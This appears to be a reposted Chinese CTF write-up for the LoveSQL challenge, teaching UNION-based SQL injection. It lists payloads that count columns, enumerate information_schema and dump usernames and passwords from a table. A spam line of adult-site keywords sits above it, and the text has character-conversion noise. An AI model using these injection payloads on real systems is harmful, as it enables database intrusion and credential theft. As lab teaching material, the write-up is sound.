日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 运维知识 > 数据库 >内容正文

数据库

[极客大挑战 2019]LoveSQL 1

發(fā)布時(shí)間:2024/1/16 数据库 37 coder
生活随笔 收集整理的這篇文章主要介紹了 [极客大挑战 2019]LoveSQL 1 小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

[極客大挑戰(zhàn) 2019]LoveSQL 1

審題

又是一道SQL題,還和上面Easy_SQL是一個(gè)系列的題。

知識(shí)點(diǎn)

SQL注入之聯(lián)合查詢。

知識(shí)點(diǎn)詳解

聯(lián)合查詢

基礎(chǔ)講解:

union聯(lián)合查詢定義是:可以使用UNION操作符,將多個(gè)查詢結(jié)果,按行進(jìn)行縱向合并。

基本語法

SELECT <字段名> FROM <表名>
UNION
SELECT <字段名> FROM <表名>

我們常用到的SQL語句有:

  1. 查詢字段
1' order by X#  //X替換為數(shù)字
  1. 查詢注入點(diǎn)
1' union select 1,2,3,···,X#
  1. 爆數(shù)據(jù)庫
1' union select 1,2,database()#
  1. 爆表,只有一個(gè)數(shù)據(jù)庫時(shí)
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#

有多個(gè)數(shù)據(jù)庫時(shí)

1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='XXX'#
  1. 爆表的列
1' union select 1,2,group_concat(column_name) from information_schema.column where table_name='XXX'#
  1. 讀取內(nèi)容
1' union select 1,2,group_concat(XXX{列的名字}) from XXX{列所在的表的名字}#

group_concat

其中,group_concat函數(shù)的作用是將查詢到的每行結(jié)果合并成一行并以逗號(hào)隔開。

比如:

沒使用group_concat時(shí),用concat查詢的情況如下

ID
USER
PASSWARD

使用了group_caoncat后的結(jié)果就如下

ID,USER,PASSWARD

information_schema

nformation_schema是mysql自帶的一個(gè)信息數(shù)據(jù)庫,保存著關(guān)于MySQL服務(wù)器所維護(hù)的所有其他數(shù)據(jù)庫的信息。

所以我們將從information_schema數(shù)據(jù)庫中找到表名和列名。

另外,聯(lián)合查詢還有有很多種查詢方法,大家可以去自行查找。

參考博客:

SQL入門之第十二講——UNION 聯(lián)合查詢

解題

  1. 進(jìn)行SQL注入測試。當(dāng)輸入1'時(shí)發(fā)現(xiàn)有報(bào)錯(cuò)回顯,可以猜測有SQL注入。

  2. 使用基礎(chǔ)的1' show databases# 無法得到庫名,我們使用聯(lián)合查詢。

    由上面的知識(shí)點(diǎn)詳解的步驟開始解題

    1. 查詢字段,從1一直嘗試到4,發(fā)現(xiàn)輸入1' order by 4# 時(shí)出現(xiàn)報(bào)錯(cuò)

  1. 猜測其有三個(gè)字段,查詢注入點(diǎn)
1' union select 1,2,3#

通過回顯可以看出2,3都是注入點(diǎn)。

  1. 爆庫名

    1' union select 1,2,database()#
    

  2. 爆表名

    1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()#
    

  3. 爆列名

    1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'#
    

  4. 爆這個(gè)列名中的所有內(nèi)容

    1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1#
    

    得到flag

總結(jié)

以上是生活随笔為你收集整理的[极客大挑战 2019]LoveSQL 1的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。